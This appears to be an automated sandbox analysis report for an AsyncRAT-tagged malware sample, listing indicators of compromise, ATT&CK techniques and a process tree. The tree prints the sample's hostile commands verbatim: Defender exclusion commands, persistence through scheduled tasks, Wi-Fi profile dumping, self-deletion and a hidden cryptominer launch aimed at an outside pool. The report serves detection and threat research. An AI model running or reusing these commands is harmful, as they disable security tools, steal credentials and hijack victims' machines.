asyncrat | f95e19a66cb1e3a612f2c07380376196e856dfefbe1038c4e6fd7d6a03388b5d

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	frefef.exe

Loads dropped DLL 13 IoCs

pid	Process
3156	python.exe
3156	python.exe
3156	python.exe
3156	python.exe
3156	python.exe
3156	python.exe
3156	python.exe
3156	python.exe
3156	python.exe
3156	python.exe
3156	python.exe
3156	python.exe
3156	python.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File created	C:\Windows\assembly\Desktop.ini	Obus.exe
File opened for modification	C:\Windows\assembly\Desktop.ini	Obus.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ifconfig.me
11	ifconfig.me
14	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	frefef.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	frefef.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\WindowsInput.exe	Obus.exe
File created	\??\c:\windows\system32\defendernottray.exe	ex.exe
File created	\??\c:\windows\system32\microsoft\libs\WR64.sys	defendernottray.exe
File created	\??\c:\windows\system32\microsoft\libs\sihost64.log	defendernottray.exe
File created	\??\c:\windows\system32\microsoft\libs\sihost64.exe	defendernottray.exe
File created	\??\c:\windows\system32\microsoft\telemetry\sihost32.log	trayfontdefender.exe
File created	C:\Windows\SysWOW64\WindowsInput.exe.config	Obus.exe
File created	C:\Windows\SysWOW64\WindowsInput.InstallState	WindowsInput.exe
File created	\??\c:\windows\system32\trayfontdefender.exe	ec.exe
File opened for modification	\??\c:\windows\system32\trayfontdefender.exe	ec.exe
File opened for modification	\??\c:\windows\system32\defendernottray.exe	ex.exe
File created	\??\c:\windows\system32\microsoft\telemetry\sihost32.exe	trayfontdefender.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5092 set thread context of 2036	5092	defendernottray.exe	159

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\assembly\Desktop.ini	Obus.exe
File opened for modification	C:\Windows\assembly\Desktop.ini	Obus.exe
File created	C:\Windows\lsddsds\lsdds.exe	Obus.exe
File opened for modification	C:\Windows\lsddsds\lsdds.exe	Obus.exe
File created	C:\Windows\lsddsds\lsdds.exe.config	Obus.exe
File opened for modification	C:\Windows\assembly	Obus.exe

Detects Pyinstaller 3 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000200000001ab25-116.dat	pyinstaller
behavioral2/files/0x000200000001ab25-119.dat	pyinstaller
behavioral2/files/0x000200000001ab25-135.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 1 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S	frefef.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	frefef.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	frefef.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Vu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Vu.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4172	schtasks.exe
4500	schtasks.exe
3812	schtasks.exe
3520	schtasks.exe
4520	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5012	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation	frefef.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	frefef.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	frefef.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0	frefef.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4644	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
580	powershell.exe
580	powershell.exe
2012	powershell.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
580	powershell.exe
580	powershell.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2012	powershell.exe
2012	powershell.exe
2012	powershell.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
4916	powershell.exe
4916	powershell.exe
4184	powershell.exe
4916	powershell.exe
4184	powershell.exe
4184	powershell.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
2720	Vu.exe
4208	powershell.exe
4208	powershell.exe
4208	powershell.exe
4704	powershell.exe
4704	powershell.exe
4704	powershell.exe
4208	powershell.exe
4704	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4888	powershell.exe
4888	powershell.exe
4888	powershell.exe
4888	powershell.exe
3000	ec.exe
196	ex.exe
2200	olsdd.exe
2200	olsdd.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4168	lsdds.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	Vu.exe
Token: SeDebugPrivilege	580	powershell.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeDebugPrivilege	1640	frefef.exe
Token: SeIncreaseQuotaPrivilege	4700	cvtres.exe
Token: SeSecurityPrivilege	4700	cvtres.exe
Token: SeTakeOwnershipPrivilege	4700	cvtres.exe
Token: SeLoadDriverPrivilege	4700	cvtres.exe
Token: SeSystemProfilePrivilege	4700	cvtres.exe
Token: SeSystemtimePrivilege	4700	cvtres.exe
Token: SeProfSingleProcessPrivilege	4700	cvtres.exe
Token: SeIncBasePriorityPrivilege	4700	cvtres.exe
Token: SeCreatePagefilePrivilege	4700	cvtres.exe
Token: SeBackupPrivilege	4700	cvtres.exe
Token: SeRestorePrivilege	4700	cvtres.exe
Token: SeShutdownPrivilege	4700	cvtres.exe
Token: SeDebugPrivilege	4700	cvtres.exe
Token: SeSystemEnvironmentPrivilege	4700	cvtres.exe
Token: SeRemoteShutdownPrivilege	4700	cvtres.exe
Token: SeUndockPrivilege	4700	cvtres.exe
Token: SeManageVolumePrivilege	4700	cvtres.exe
Token: 33	4700	cvtres.exe
Token: 34	4700	cvtres.exe
Token: 35	4700	cvtres.exe
Token: 36	4700	cvtres.exe
Token: SeIncreaseQuotaPrivilege	4700	cvtres.exe
Token: SeSecurityPrivilege	4700	cvtres.exe
Token: SeTakeOwnershipPrivilege	4700	cvtres.exe
Token: SeLoadDriverPrivilege	4700	cvtres.exe
Token: SeSystemProfilePrivilege	4700	cvtres.exe
Token: SeSystemtimePrivilege	4700	cvtres.exe
Token: SeProfSingleProcessPrivilege	4700	cvtres.exe
Token: SeIncBasePriorityPrivilege	4700	cvtres.exe
Token: SeCreatePagefilePrivilege	4700	cvtres.exe
Token: SeBackupPrivilege	4700	cvtres.exe
Token: SeRestorePrivilege	4700	cvtres.exe
Token: SeShutdownPrivilege	4700	cvtres.exe
Token: SeDebugPrivilege	4700	cvtres.exe
Token: SeSystemEnvironmentPrivilege	4700	cvtres.exe
Token: SeRemoteShutdownPrivilege	4700	cvtres.exe
Token: SeUndockPrivilege	4700	cvtres.exe
Token: SeManageVolumePrivilege	4700	cvtres.exe
Token: 33	4700	cvtres.exe
Token: 34	4700	cvtres.exe
Token: 35	4700	cvtres.exe
Token: 36	4700	cvtres.exe
Token: SeIncreaseQuotaPrivilege	2012	powershell.exe
Token: SeSecurityPrivilege	2012	powershell.exe
Token: SeTakeOwnershipPrivilege	2012	powershell.exe
Token: SeLoadDriverPrivilege	2012	powershell.exe
Token: SeSystemProfilePrivilege	2012	powershell.exe
Token: SeSystemtimePrivilege	2012	powershell.exe
Token: SeProfSingleProcessPrivilege	2012	powershell.exe
Token: SeIncBasePriorityPrivilege	2012	powershell.exe
Token: SeCreatePagefilePrivilege	2012	powershell.exe
Token: SeBackupPrivilege	2012	powershell.exe
Token: SeRestorePrivilege	2012	powershell.exe
Token: SeShutdownPrivilege	2012	powershell.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeSystemEnvironmentPrivilege	2012	powershell.exe
Token: SeRemoteShutdownPrivilege	2012	powershell.exe
Token: SeUndockPrivilege	2012	powershell.exe
Token: SeManageVolumePrivilege	2012	powershell.exe
Token: 33	2012	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4168	lsdds.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4168	lsdds.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4168	lsdds.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1000 wrote to memory of 1492	1000	a71f91351dc1bb57f0426080f2c03854.exe	75
PID 1000 wrote to memory of 1492	1000	a71f91351dc1bb57f0426080f2c03854.exe	75
PID 1000 wrote to memory of 800	1000	a71f91351dc1bb57f0426080f2c03854.exe	77
PID 1000 wrote to memory of 800	1000	a71f91351dc1bb57f0426080f2c03854.exe	77
PID 1000 wrote to memory of 800	1000	a71f91351dc1bb57f0426080f2c03854.exe	77
PID 1000 wrote to memory of 196	1000	a71f91351dc1bb57f0426080f2c03854.exe	78
PID 1000 wrote to memory of 196	1000	a71f91351dc1bb57f0426080f2c03854.exe	78
PID 1000 wrote to memory of 3000	1000	a71f91351dc1bb57f0426080f2c03854.exe	79
PID 1000 wrote to memory of 3000	1000	a71f91351dc1bb57f0426080f2c03854.exe	79
PID 1000 wrote to memory of 1640	1000	a71f91351dc1bb57f0426080f2c03854.exe	80
PID 1000 wrote to memory of 1640	1000	a71f91351dc1bb57f0426080f2c03854.exe	80
PID 1492 wrote to memory of 3156	1492	python.exe	81
PID 1492 wrote to memory of 3156	1492	python.exe	81
PID 1000 wrote to memory of 2720	1000	a71f91351dc1bb57f0426080f2c03854.exe	84
PID 1000 wrote to memory of 2720	1000	a71f91351dc1bb57f0426080f2c03854.exe	84
PID 1000 wrote to memory of 1008	1000	a71f91351dc1bb57f0426080f2c03854.exe	83
PID 1000 wrote to memory of 1008	1000	a71f91351dc1bb57f0426080f2c03854.exe	83
PID 3000 wrote to memory of 2552	3000	ec.exe	85
PID 3000 wrote to memory of 2552	3000	ec.exe	85
PID 196 wrote to memory of 2036	196	ex.exe	88
PID 196 wrote to memory of 2036	196	ex.exe	88
PID 2552 wrote to memory of 580	2552	cmd.exe	89
PID 2552 wrote to memory of 580	2552	cmd.exe	89
PID 2036 wrote to memory of 2012	2036	cmd.exe	90
PID 2036 wrote to memory of 2012	2036	cmd.exe	90
PID 3156 wrote to memory of 4280	3156	python.exe	91
PID 3156 wrote to memory of 4280	3156	python.exe	91
PID 2720 wrote to memory of 4604	2720	Vu.exe	92
PID 2720 wrote to memory of 4604	2720	Vu.exe	92
PID 4280 wrote to memory of 4700	4280	cmd.exe	106
PID 4280 wrote to memory of 4700	4280	cmd.exe	106
PID 4604 wrote to memory of 4792	4604	cmd.exe	95
PID 4604 wrote to memory of 4792	4604	cmd.exe	95
PID 4604 wrote to memory of 4884	4604	cmd.exe	96
PID 4604 wrote to memory of 4884	4604	cmd.exe	96
PID 2720 wrote to memory of 5084	2720	Vu.exe	97
PID 2720 wrote to memory of 5084	2720	Vu.exe	97
PID 5084 wrote to memory of 4116	5084	cmd.exe	99
PID 5084 wrote to memory of 4116	5084	cmd.exe	99
PID 5084 wrote to memory of 4236	5084	cmd.exe	100
PID 5084 wrote to memory of 4236	5084	cmd.exe	100
PID 5084 wrote to memory of 4288	5084	cmd.exe	101
PID 5084 wrote to memory of 4288	5084	cmd.exe	101
PID 1008 wrote to memory of 2600	1008	Obus.exe	103
PID 1008 wrote to memory of 2600	1008	Obus.exe	103
PID 2036 wrote to memory of 4916	2036	cmd.exe	105
PID 2036 wrote to memory of 4916	2036	cmd.exe	105
PID 2600 wrote to memory of 4700	2600	csc.exe	106
PID 2600 wrote to memory of 4700	2600	csc.exe	106
PID 2552 wrote to memory of 4184	2552	cmd.exe	107
PID 2552 wrote to memory of 4184	2552	cmd.exe	107
PID 2036 wrote to memory of 4208	2036	cmd.exe	113
PID 2036 wrote to memory of 4208	2036	cmd.exe	113
PID 2552 wrote to memory of 4704	2552	cmd.exe	112
PID 2552 wrote to memory of 4704	2552	cmd.exe	112
PID 2036 wrote to memory of 4592	2036	cmd.exe	111
PID 2036 wrote to memory of 4592	2036	cmd.exe	111
PID 1008 wrote to memory of 4976	1008	Obus.exe	110
PID 1008 wrote to memory of 4976	1008	Obus.exe	110
PID 2552 wrote to memory of 4888	2552	cmd.exe	109
PID 2552 wrote to memory of 4888	2552	cmd.exe	109
PID 1008 wrote to memory of 4168	1008	Obus.exe	114
PID 1008 wrote to memory of 4168	1008	Obus.exe	114
PID 196 wrote to memory of 5104	196	ex.exe	115

C:\Users\Admin\AppData\Local\Temp\a71f91351dc1bb57f0426080f2c03854.exe
"C:\Users\Admin\AppData\Local\Temp\a71f91351dc1bb57f0426080f2c03854.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1000
- C:\Users\Admin\AppData\Local\Temp\python\python.exe
  "C:\Users\Admin\AppData\Local\Temp\python\python.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Users\Admin\AppData\Local\Temp\python\python.exe
    "C:\Users\Admin\AppData\Local\Temp\python\python.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3156
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4280
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:4700
- C:\Users\Admin\AppData\Local\Temp\AudioOutM\dcbl.exe
  "C:\Users\Admin\AppData\Local\Temp\AudioOutM\dcbl.exe"
  2⤵
  - Executes dropped EXE
  PID:800
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "asasasas" /tr '"C:\Users\Admin\AppData\Local\Temp\asasasas.exe"' & exit
    3⤵
    PID:4892
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "asasasas" /tr '"C:\Users\Admin\AppData\Local\Temp\asasasas.exe"'
      4⤵
      Creates scheduled task(s)
      PID:4500
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF284.tmp.bat""
    3⤵
    PID:3156
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:5012
  - - C:\Users\Admin\AppData\Local\Temp\asasasas.exe
      "C:\Users\Admin\AppData\Local\Temp\asasasas.exe"
      4⤵
      Executes dropped EXE
      PID:4416
- C:\Users\Admin\AppData\Local\Temp\SecurityTrayManager\ex.exe
  "C:\Users\Admin\AppData\Local\Temp\SecurityTrayManager\ex.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:196
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4208
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "defendernottray" /tr '"c:\windows\system32\defendernottray.exe"' & exit
    3⤵
    PID:5104
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "defendernottray" /tr '"c:\windows\system32\defendernottray.exe"'
      4⤵
      Creates scheduled task(s)
      PID:4172
- - C:\windows\system32\defendernottray.exe
    "C:\windows\system32\defendernottray.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:5092
  - - C:\windows\system32\cmd.exe
      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
      4⤵
      PID:5032
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        5⤵
        
        PID:4468
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        5⤵
        
        PID:696
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        5⤵
        
        PID:5000
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
        5⤵
        
        PID:504
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "defendernottray" /tr '"c:\windows\system32\defendernottray.exe"' & exit
      4⤵
      PID:4384
    - - \??\c:\windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "defendernottray" /tr '"c:\windows\system32\defendernottray.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:3520
  - - C:\windows\system32\microsoft\libs\sihost64.exe
      "C:\windows\system32\microsoft\libs\sihost64.exe"
      4⤵
      Executes dropped EXE
      PID:4640
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=67.242.2.35:3333 --user=CGFBFPSXA --pass= --cpu-max-threads-hint=70 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6CJ80EuZhDq7w3QiPw3/9PYjASC1sXGu0nCxs9jooG2T" --cinit-idle-wait=12 --cinit-idle-cpu=90 --nicehash --cinit-stealth
      4⤵
      PID:2036
- C:\Users\Admin\AppData\Local\Temp\WindowsDefenderHelper\ec.exe
  "C:\Users\Admin\AppData\Local\Temp\WindowsDefenderHelper\ec.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4704
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "trayfontdefender" /tr '"c:\windows\system32\trayfontdefender.exe"' & exit
    3⤵
    PID:4924
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "trayfontdefender" /tr '"c:\windows\system32\trayfontdefender.exe"'
      4⤵
      Creates scheduled task(s)
      PID:4520
- - C:\windows\system32\trayfontdefender.exe
    "C:\windows\system32\trayfontdefender.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:4104
  - - C:\windows\system32\cmd.exe
      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
      4⤵
      PID:2384
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        5⤵
        
        PID:4992
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        5⤵
        
        PID:4484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        5⤵
        
        PID:2176
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
        5⤵
        
        PID:2616
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "trayfontdefender" /tr '"c:\windows\system32\trayfontdefender.exe"' & exit
      4⤵
      PID:4760
    - - \??\c:\windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "trayfontdefender" /tr '"c:\windows\system32\trayfontdefender.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:3812
  - - C:\windows\system32\microsoft\telemetry\sihost32.exe
      "C:\windows\system32\microsoft\telemetry\sihost32.exe"
      4⤵
      Executes dropped EXE
      PID:4524
- C:\Users\Admin\AppData\Local\Temp\Omlious\frefef.exe
  "C:\Users\Admin\AppData\Local\Temp\Omlious\frefef.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Maps connected drives based on registry
  - Checks SCSI registry key(s)
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious use of AdjustPrivilegeToken
  PID:1640
- C:\Users\Admin\AppData\Local\Temp\CriticalProcess\Obus.exe
  "C:\Users\Admin\AppData\Local\Temp\CriticalProcess\Obus.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:1008
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uoodttsp.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2600
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9E98.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9E97.tmp"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4700
- - C:\Windows\SysWOW64\WindowsInput.exe
    "C:\Windows\SysWOW64\WindowsInput.exe" --install
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:4976
- - C:\Windows\lsddsds\lsdds.exe
    "C:\Windows\lsddsds\lsdds.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:4168
  - - C:\Users\Admin\AppData\Local\Temp\olsdd.exe
      "C:\Users\Admin\AppData\Local\Temp\olsdd.exe" /launchSelfAndExit "C:\Windows\lsddsds\lsdds.exe" 4168 /protectFile
      4⤵
      Executes dropped EXE
      PID:2388
    - - C:\Users\Admin\AppData\Local\Temp\olsdd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\olsdd.exe" /watchProcess "C:\Windows\lsddsds\lsdds.exe" 4168 "/protectFile"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2200
- C:\Users\Admin\AppData\Local\Temp\Vulturi\Vu.exe
  "C:\Users\Admin\AppData\Local\Temp\Vulturi\Vu.exe"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:4792
  - - C:\Windows\system32\netsh.exe
      netsh wlan show networks mode=bssid
      4⤵
      PID:4884
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:4116
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      PID:4236
  - - C:\Windows\system32\findstr.exe
      findstr All
      4⤵
      PID:4288
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\Vulturi\Vu.exe"
    3⤵
    PID:5084
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:508
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1
      4⤵
      Runs ping.exe
      PID:4644

C:\Windows\SysWOW64\WindowsInput.exe
"C:\Windows\SysWOW64\WindowsInput.exe"
1⤵
- Executes dropped EXE
PID:5060

C:\Windows\lsddsds\lsdds.exe
C:\Windows\lsddsds\lsdds.exe
1⤵
- Executes dropped EXE
PID:4716

C:\Windows\System32\slui.exe
C:\Windows\System32\slui.exe -Embedding
1⤵
PID:4500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery